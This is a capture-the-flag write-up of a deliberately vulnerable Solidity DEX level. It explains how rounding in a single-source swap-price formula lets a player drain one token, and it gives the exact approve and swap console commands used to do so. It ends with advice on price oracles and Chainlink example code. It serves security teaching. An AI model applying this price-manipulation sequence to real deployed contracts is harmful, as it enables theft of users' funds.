Links

DEX

integer division precision loss

Description

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets.

Quick note

Normally, when you make a swap with an ERC20 token, you have to approve the contract to spend your tokens for you. To keep with the syntax of the game, we've just added the approve method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>) instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken contract otherwise.
Things that might help:
  • How is the price of the token calculated?
  • How does the swap method work?
  • How do you approve a transaction of an ERC20?

Code Audit

This challenge has a helper contract SwappableToken that overrides the approve() function. The new approve() implementation prevents the DEX from approving anyone:
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
The main contract DEX:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
The essence of this contract is the getSwapPrice() function:
![[DEX getSwapPrice().png]]
Calculating price in this way is vulnerable to "price manipulation" attack. The correct way of doing this is using an external oracle such as Chainlink.
How does this price manipulation work? In Solidity, integer division rounds down. For example, 5 / 2 is evaluated to 2 in Solidity, which should be 2.5 in reality. In this DEX contract, if we sell 1 token1 but token2 * amount < token1, getSwapPrice() will return 0. That is, we sell a token and get nothing back. In this way, we can drain a token poll.

Solution

Here is the plan:
  • Swap all token1 for token2.
  • Swap all token2 for token1.
  • Repeat above steps until token1 or token2 gets drained.
For each round, the user will hold more tokens than the previous round. Here is a nice table I found in this writeup:
DEX | player
token1 - token2 | token1 - token2
----------------------------------
100 100 | 10 10
110 90 | 0 20
86 110 | 24 0
110 80 | 0 30
69 110 | 41 0
110 45 | 0 65
0 90 | 110 20
Detailed computation:
formula: amount * to / from
round 1: 10token1 * 100token2 / 100token1 = 10token2
round 2: 20token2 * 110token1 / 90token2 = 24token1 (24.444 rounds down)
round 3: 24token1 * 110token2 / 86token1 = 30token2 (30.698 rounds down)
round 4: 30token2 * 110token1 / 80token2 = 41token1 (41.25 rounds down)
round 5: 41token1 * 110token2 / 69token1 = 65token2 (65.362 rounds down)
Now we can only swap 45token2 since token2 supply is not enough
round 6: 45token2 * 110token1 / 45token1 = 110token1
token1 is drained
Here are the steps to pwn this level:
Step 1: Set allowance to 500 (any large number suffices):
await contract.approve(contract.address, 500)
Step 2: Get token addresses:
t1 = await contract.token1()
t2 = await contract.token2()
Step 3: Perform back-and-forth swaps:
await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)
Step 4: Verify if token1 is drained:
await contract.balanceOf(t1, instance).then(v => v.toString())
If this returns 0 then we are all good.

Summary

The integer math portion aside, getting prices or any sort of data from any single source is a massive attack vector in smart contracts.
You can clearly see from this example, that someone with a lot of capital could manipulate the price in one fell swoop, and cause any applications relying on it to use the the wrong price.
The exchange itself is decentralized, but the price of the asset is centralized, since it comes from 1 dex. This is why we need oracles. Oracles are ways to get data into and out of smart contracts. We should be getting our data from multiple independent decentralized sources, otherwise we can run this risk.
Chainlink Data Feeds are a secure, reliable, way to get decentralized data into your smart contracts. They have a vast library of many different sources, and also offer secure randomness, ability to make any API call, modular oracle network creation, upkeep, actions, and maintainance, and unlimited customization.
Uniswap TWAP Oracles relies on a time weighted price model called TWAP. While the design can be attractive, this protocol heavily depends on the liquidity of the DEX protocol, and if this is too low, prices can be easily manipulated.
Here is an example of getting data from a Chainlink data feed (on the kovan testnet):
pragma solidity ^0.6.7;
import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
contract PriceConsumerV3 {
AggregatorV3Interface internal priceFeed;
/**
* Network: Kovan
* Aggregator: ETH/USD
* Address: 0x9326BFA02ADD2366b30bacB125260Af641031331
*/
constructor() public {
priceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331);
}
/**
* Returns the latest price
*/
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
return price;
}
}

Further Reading

The vulnerability in this challenge can be fixed by using a price oracle. However, price oracles are not perfect. They could introduce other vulnerabilities into the system. samczsun has an introductory article regarding price oracles:
So you want to use a price oracle
samczsun
So you want to use a price oracle - samczsun
Last modified 1mo ago